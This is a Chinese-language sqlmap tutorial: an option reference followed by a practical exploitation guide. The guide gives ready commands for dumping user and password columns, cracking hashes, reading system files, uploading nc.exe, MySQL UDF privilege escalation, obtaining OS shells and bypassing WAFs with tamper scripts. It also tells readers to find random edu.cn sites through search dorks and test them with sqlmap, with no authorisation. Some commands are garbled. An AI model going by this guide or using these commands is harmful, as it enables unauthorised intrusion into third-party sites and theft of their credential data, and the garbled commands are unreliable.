sqlmap目前最新版本为1.6.1，相关资源如下：
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1.1 sqlmap简介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
sqlmap支持五种不同的注入模式：
l 基于布尔的盲注，即可以根据返回页面判断条件真假的注入；
l 基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断；
l 基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中；
l 联合查询注入，可以使用union的情况下的注入；
l 对查询注入，可以同时执行多条语句的执行时的注入。
1.2 下载及安装
（1）linux下git直接安装
git clone --depth 1sqlmap-dev
（2）windows下安装
windows下下载sqlmap的压缩包，解压后即可使用。但需要一些组件包的支持，需要有python环境支持。
1.3 SQL使用参数详解
本文以SQLmap 1.6.1版本为例，对其所有参数进行详细的分析和讲解，便于在使用时进行查询。
用法: sqlmap.py [选项]
1.3.1 选项
-h,--help 显示基本帮助信息并退出
-hh 显示高级帮助信息并退出
--version 显示程序版本信息并退出
-vVERBOSE信息级别: 0-6 （缺省1），其值具体含义：“0”只显示python错误以及严重的信息；1同时显示基本信息和警告信息（默认）；“2”同时显示debug信息；“3”同时显示注入的payload；“4”同时显示HTTP请求；“5”同时显示HTTP响应头；“6”同时显示HTTP响应页面；如果想看到sqlmap发送的测试payload最好的等级就是3。
1.3.2 目标
在这些选项中必须提供至少有一个确定目标
-d DIRECT 直接连接数据库的连接字符串
-u URL, --url=URL 目标URL (e.g."?id=1")，使用-u或者--url
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
-x SITEMAPURL 从远程网站地图（sitemap.xml）文件来解析目标
-m BULKFILE 将目标地址保存在文件中，一行为一个URL地址进行批量检测。
-r REQUESTFILE 从文件加载HTTP请求，sqlmap可以从一个文本文件中获取HTTP请求，这样就可以跳过设置一些其他参数（比如cookie，POST数据，等等），请求是HTTPS的时需要配合这个--force-ssl参数来使用，或者可以在Host头后门加上:443
-g GOOGLEDORK 从谷歌中加载结果目标URL（只获取前100个结果，需要挂代理）
-c CONFIGFILE 从配置ini文件中加载选项
1.3.3 请求
这些选项可以用来指定如何连接到目标URL
--method=METHOD 强制使用给定的HTTP方法（例如put）
--data=DATA 通过POST发送数据参数，sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users--param-del=PARA.. 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
--cookie=COOKIE HTTP Cookieheader 值
--cookie-del=COO.. 用来分隔cookie的字符串值
--load-cookies=L.. Filecontaining cookies in Netscape/wget format
--drop-set-cookie IgnoreSet-Cookie header from response
--user-agent=AGENT 默认情况下sqlmap的HTTP请求头中User-Agent值是：sqlmap/1.0-dev-xxxxxxx(可以使用--user-agent参数来修改，同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入
--random-agent 使用random-agent作为HTTP User-Agent头值
--host=HOST HTTP Hostheader value
--referer=REFERER sqlmap可以在请求中伪造HTTP中的referer，当--level参数设定为3或者3以上的时候会尝试对referer注入
-H HEADER, --hea.. 额外的http头(e.g."X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP 认证凭证(name:password)
--auth-file=AUTH.. HTTP 认证PEM证书/私钥文件；当Web服务器需要客户端证书进行身份验证时，需要提供两个文件:key_file，cert_file,key_file是格式为PEM文件，包含着你的私钥，cert_file是格式为PEM的连接文件。
--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误（未授权的）
--ignore-proxy 忽略系统的默认代理设置
--ignore-redirects忽略重定向的尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理服务器连接到目标URL
--proxy-cred=PRO.. 代理认证凭证(name:password)
--proxy-file=PRO.. 从文件加载代理列表
--tor 使用Tor匿名网络
--tor-port=TORPORT 设置Tor代理端口
--tor-type=TORTYPE 设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))
--check-tor 检查Tor的是否正确使用
--delay=DELAY 可以设定两个HTTP(S)请求间的延迟，设定为0.5的时候是半秒，默认是没有延迟的。
--timeout=TIMEOUT 可以设定一个HTTP(S)请求超过多久判定为超时，10表示10秒，默认是30秒。
--retries=RETRIES 当HTTP(S)超时时，可以设定重新尝试连接次数，默认是3次。
--randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化，长度和类型会与提供的初始值一样
--safe-url=SAFEURL 提供一个安全不错误的连接，每隔一段时间都会去访问一下
--safe-post=SAFE.. 提供一个安全不错误的连接，每次测试请求之后都会再访问一遍安全连接。
--safe-req=SAFER.. 从文件中加载安全HTTP请求
--safe-freq=SAFE.. 测试一个给定安全网址的两个访问请求
--skip-urlencode 跳过URL的有效载荷数据编码
--csrf-token=CSR.. Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌
--csrf-url=CSRFURL URL地址访问提取anti-CSRF令牌
--force-ssl 强制使用SSL/HTTPS
--hpp 使用HTTP参数污染的方法
--eval=EVALCODE 在有些时候，需要根据某个参数的变化，而修改另个一参数，才能形成正常的请求，这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")
sqlmap.py -u"?id=1&hash=c4ca4238a0bdcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
1.3.4 优化
这些选项可用于优化sqlmap性能
-o 打开所有的优化开关
--predict-output 预测普通查询输出
--keep-alive 使用持久HTTP（S）连接
--null-connection 获取页面长度
--threads=THREADS 当前http(s)最大请求数 (默认 1)
1.3.5 注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p TESTPARAMETER 可测试的参数
--skip=SKIP 跳过对给定参数的测试
--skip-static 跳过测试不显示为动态的参数
--param-exclude=.. 使用正则表达式排除参数进行测试（e.g. "ses"）
--dbms=DBMS 强制后端的DBMS为此值
--dbms-cred=DBMS.. DBMS认证凭证(user:password)
--os=OS 强制后端的DBMS操作系统为这个值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑操作使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷铸造机制
--no-escape 关闭字符串逃逸机制
--prefix=PREFIX 注入payload字符串前缀
--suffix=SUFFIX 注入payload字符串后缀
--tamper=TAMPER 使用给定的脚本篡改注入数据
1.3.6 检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级（1-5，默认为1）
--risk=RISK 执行测试的风险（0-3，默认为1）
--string=STRING 查询时有效时在页面匹配字符串
--not-string=NOT.. 当查询求值为无效时匹配的字符串
--regexp=REGEXP 查询时有效时在页面匹配正则表达式
--code=CODE 当查询求值为True时匹配的HTTP代码
--text-only 仅基于在文本内容比较网页
--titles 仅根据他们的标题进行比较
1.3.7 技巧
这些选项可用于调整具体的SQL注入测试
--technique=TECH SQL注入技术测试（默认BEUST）
--time-sec=TIMESEC DBMS响应的延迟时间（默认为5秒）
--union-cols=UCOLS 定列范围用于测试UNION查询注入
--union-char=UCHAR 暴力猜测列的字符数
--union-from=UFROM SQL注入UNION查询使用的格式
--dns-domain=DNS.. DNS泄露攻击使用的域名
--second-order=S.. URL搜索产生的结果页面
1.3.8 指纹
-f, --fingerprint 执行广泛的DBMS版本指纹检查
1.3.9 枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外，您还可以运行自定义的SQL语句。
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--roles 枚举数据库管理系统用户的角色
--dbs 枚举数据库管理系统数据库
--tables 枚举的DBMS数据库中的表
--columns 枚举DBMS数据库表列
--schema 枚举数据库架构
--count 检索表的项目数，有时候用户只想获取表中的数据个数而不是具体的内容，那么就可以使用这个参数：sqlmap.py -u url --count -D testdb
--dump 转储数据库表项
--dump-all 转储数据库所有表项
--search 搜索列（S），表（S）和/或数据库名称（S）
--comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
--exclude-sysdbs 枚举表时排除系统数据库
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 获取第一个查询输出数据位置
--stop=LIMITSTOP 获取最后查询的输出数据
--first=FIRSTCHAR 第一个查询输出字的字符获取
--last=LASTCHAR 最后查询的输出字字符获取
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
--sql-file=SQLFILE 要执行的SQL文件
1.3.10 暴力
这些选项可以被用来运行暴力检查
--common-tables 检查存在共同表
--common-columns 检查存在共同列
1.3.11 用户自定义函数注入
这些选项可以用来创建用户自定义函数
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径
1.3.12 访问文件系统
这些选项可以被用来访问后端数据库管理系统的底层文件系统
--file-read=RFILE 从后端的数据库管理系统文件系统读取文件，SQL Server2005中读取二进制文件example.exe:
sqlmap.py -u"?name=luther"--file-read "C:/example.exe" -v 1
--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下：
python sqlmap.py -u"?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1
1.3.13 操作系统访问
这些选项可以用于访问后端数据库管理系统的底层操作系统
--os-cmd=OSCMD 执行操作系统命令（OSCMD）
--os-shell 交互式的操作系统的shell
--os-pwn 获取一个OOB shell，meterpreter或VNC
--os-smbrelay 一键获取一个OOBshell，meterpreter或VNC
--os-bof 存储过程缓冲区溢出利用
--priv-esc 数据库进程用户权限提升
--msf-path=MSFPATH MetasploitFramework本地的安装路径
--tmp-path=TMPPATH 远程临时文件目录的绝对路径
linux查看当前用户命令：
sqlmap.py -u"?id=1" --os-cmd id -v1
1.3.14 Windows注册表访问
这些选项可以被用来访问后端数据库管理系统Windows注册表
--reg-read 读一个Windows注册表项值
--reg-add 写一个Windows注册表项值数据
--reg-del 删除Windows注册表键值
--reg-key=REGKEY Windows注册表键
--reg-value=REGVAL Windows注册表项值
--reg-data=REGDATA Windows注册表键值数据
--reg-type=REGTYPE Windows注册表项值类型
1.3.15 一般选项
这些选项可以用来设置一些一般的工作参数
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
--batch 从不询问用户输入，使用所有默认配置。
--binary-fields=.. 结果字段具有二进制值(e.g."digest")
--charset=CHARSET 强制字符编码
--crawl=CRAWLDEPTH 从目标URL爬行网站
--crawl-exclude=.. 正则表达式从爬行页中排除
--csv-del=CSVDEL 限定使用CSV输出 (default",")
--dump-format=DU.. 转储数据格式(CSV(default), HTML or SQLITE)
--eta 显示每个输出的预计到达时间
--flush-session 刷新当前目标的会话文件
--forms 解析和测试目标URL表单
--fresh-queries 忽略在会话文件中存储的查询结果
--hex 使用DBMS Hex函数数据检索
--output-dir=OUT.. 自定义输出目录路径
--parse-errors 解析和显示响应数据库错误信息
--save=SAVECONFIG 保存选项到INI配置文件
--scope=SCOPE 从提供的代理日志中使用正则表达式过滤目标
--test-filter=TE.. 选择测试的有效载荷和/或标题(e.g. ROW)
--test-skip=TEST.. 跳过试验载荷和/或标题(e.g.BENCHMARK)
--update 更新sqlmap
1.3.16 其他
-z MNEMONICS 使用短记忆法 (e.g."flu,bat,ban,tec=EU")
--alert=ALERT 发现SQL注入时，运行主机操作系统命令
--answers=ANSWERS 当希望sqlmap提出输入时，自动输入自己想要的答案(e.g. "quit=N,follow=N")，例如：sqlmap.py -u"?id=1"--technique=E--answers="extending=N" --batch
--beep 发现sql注入时，发出蜂鸣声。
--cleanup 清除sqlmap注入时在DBMS中产生的udf与表。
--dependencies Check formissing (non-core) sqlmap dependencies
--disable-coloring 默认彩色输出，禁掉彩色输出。
--gpage=GOOGLEPAGE 使用前100个URL地址作为注入测试，结合此选项，可以指定页面的URL测试
--identify-waf 进行WAF/IPS/IDS保护测试，目前大约支持30种产品的识别
--mobile 有时服务端只接收移动端的访问，此时可以设定一个手机的User-Agent来模仿手机登陆。
--offline Work inoffline mode (only use session data)
--purge-output 从输出目录安全删除所有内容，有时需要删除结果文件，而不被恢复，可以使用此参数，原有文件将会被随机的一些文件覆盖。
--skip-waf 跳过WAF／IPS / IDS启发式检测保护
--smart 进行积极的启发式测试，快速判断为注入的报错点进行注入
--sqlmap-shell 互动提示一个sqlmapshell
--tmp-dir=TMPDIR 用于存储临时文件的本地目录
--web-root=WEBROOT Web服务器的文档根目录(e.g."/var/www")
--wizard 新手用户简单的向导使用，可以一步一步教你如何输入针对目标注入
1.4 实际利用
1.4.1 检测和利用SQL注入
1.手工判断是否存在漏洞
对动态网页进行安全审计，通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页：?id=1
构造url1：?id=1+AND+1=1
构造url2：?id=1+AND+1=2
如果url1访问结果跟原始网页一致，而url2跟原始网页不一致，有出错信息或者显示内容不一致，则证明存在SQL注入。
2. sqlmap自动检测
检测语法：sqlmap.py -u ?id=1
技巧：在实际检测过程中，sqlmap会不停的询问，需要手工输入Y/N来进行下一步操作，可以使用参数“--batch”命令来自动答复和判断。
3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索，搜索news.php/asp/aspx，站点为edu.cn，如图1所示。随机打开一个网页搜索结果，如图2所示，如果能够正常访问，则复制该URL地址。
图1搜索目标
图2测试网页能否正常访问
将该url使用sqlmap进行注入测试，如图3所示，测试结果可能存在SQL注入，也可能不存在SQL注入，存在则可以进行数据库名称，数据库表以及数据的操作。本例中是不存在SQL注入漏洞。
图3检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件，如图4所示，所有文件都保存为tg.txt，然后使用“sqlmap.py-m tg.txt”，注意tg.txt跟sqlmap在同一个目录下。
图4批量整理目标地址
1.4.2 直接连接数据库
sqlmap.py -d"mysql://admin:[email protected]:3306/testdb" -f --banner --dbs--users
1.4.3数据库相关操作
1.列数据库信息：--dbs
2.web当前使用的数据库--current-db
3.web数据库使用账户--current-user
4.列出sqlserver所有用户 --users
5.数据库账户与密码 --passwords
6.指定库名列出所有表 -D database --tables
-D：指定数据库名称
7.指定库名表名列出所有字段 -D antian365-T admin --columns
-T：指定要列出字段的表
8.指定库名表名字段dump出指定字段
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
可加双引号，也可不加双引号。
9.导出多少条数据
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
参数：
--start：指定开始的行
--stop：指定结束的行
此条命令的含义为：导出数据库tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的数据内容。
1.5 SQLMAP实用技巧
1. mysql的注释方法进行绕过WAF进行SQL注入
（1）修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/*!0%s" % word) 为：
return match.group().replace(word,"/*!50000%s*/" % word)
（2）修改C:\Python27\sqlmap\xml\queries.xml
<cast query="CAST(%s ASCHAR)"/>为：
<castquery="convert(%s,CHAR)"/>
（3）使用sqlmap进行注入测试
sqlmap.py -u"? id=16" –tamper "halfversionedmorekeywords.py"
其它绕过waf脚本方法：
sqlmap.py-u "?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
（4）tamper目录下文件具体含义：
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符（”），（’–‘）后跟一个破折号注释，一个随机字符串和一个新行（’n’）
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号，替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格，包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号（>）
space2mysqldash.py替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符（“”）从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
2.URL重写SQL注入测试
value1为测试参数，加“*”即可，sqlmap将会测试value1的位置是否可注入。
sqlmap.py -u""
3. 列举并破解密码哈希值
当前用户有权限读取包含用户密码的权限时，sqlmap会现列举出用户，然后列出hash，并尝试破解。
sqlmap.py -u"?id=1" --passwords -v1
4. 获取表中的数据个数
sqlmap.py -u"?id=1" --count -Dtestdb
5.对网站secbang.com进行漏洞爬去
sqlmap.py -u ""--batch --crawl=3
6.基于布尔SQL注入预估时间
sqlmap.py -u "?id=1"-b --eta
7.使用hex避免字符编码导致数据丢失
sqlmap.py -u "?id=1" --banner --hex -v 3 --parse-errors
8.模拟测试手机环境站点
python sqlmap.py -u"?id=1" --mobile
9.智能判断测试
sqlmap.py -u "?id=1"--batch --smart
10.结合burpsuite进行注入
（1）burpsuite抓包，需要设置burpsuite记录请求日志
sqlmap.py -r burpsuite抓包.txt
（2）指定表单注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自动填写表单注入
自动填写表单：
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 数据库名称--tables
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername，password --dump
12.读取linux下文件
sqlmap.py-u "url" --file /etc/password
13.延时注入
sqlmap.py -u URL --technique -T--current-user
14. sqlmap 结合burpsuite进行post注入
结合burpsuite来使用sqlmap：
（1）浏览器打开目标地址
（2）配置burp代理(127.0.0.1:8080)以拦截请求
（3）点击登录表单的submit按钮
（4）Burp会拦截到了我们的登录POST请求
（5）把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
（6）运行sqlmap并使用如下命令：
./sqlmap.py -r post.txt -p tfUPass15.sqlmap cookies注入
sqlmap.py -u ""–cookies "id=1" –dbs –level 2
默认情况下SQLMAP只支持GET/POST参数的注入测试，但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数，当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值，然后进行注入：
sqlmap.py -u 注入点URL --cookie"id=xx" --level 3sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumnssqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username，password --dump16.mysql提权
（1）连接mysql数据打开一个交互shell:
sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shellselect @@version;select @@plugin_dir;d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\（2）利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dllCREATE FUNCTION sys_exec RETURNS STRINGSONAME lib_mysqludf_sys.dllCREATE FUNCTION sys_eval RETURNS STRINGSONAME lib_mysqludf_sys.dllselect sys_eval(ver);17.执行shell命令
sqlmap.py -u "url" –os-cmd="netuser" /*执行net user命令*/
sqlmap.py -u "url" –os-shell /*系统交互的shell*/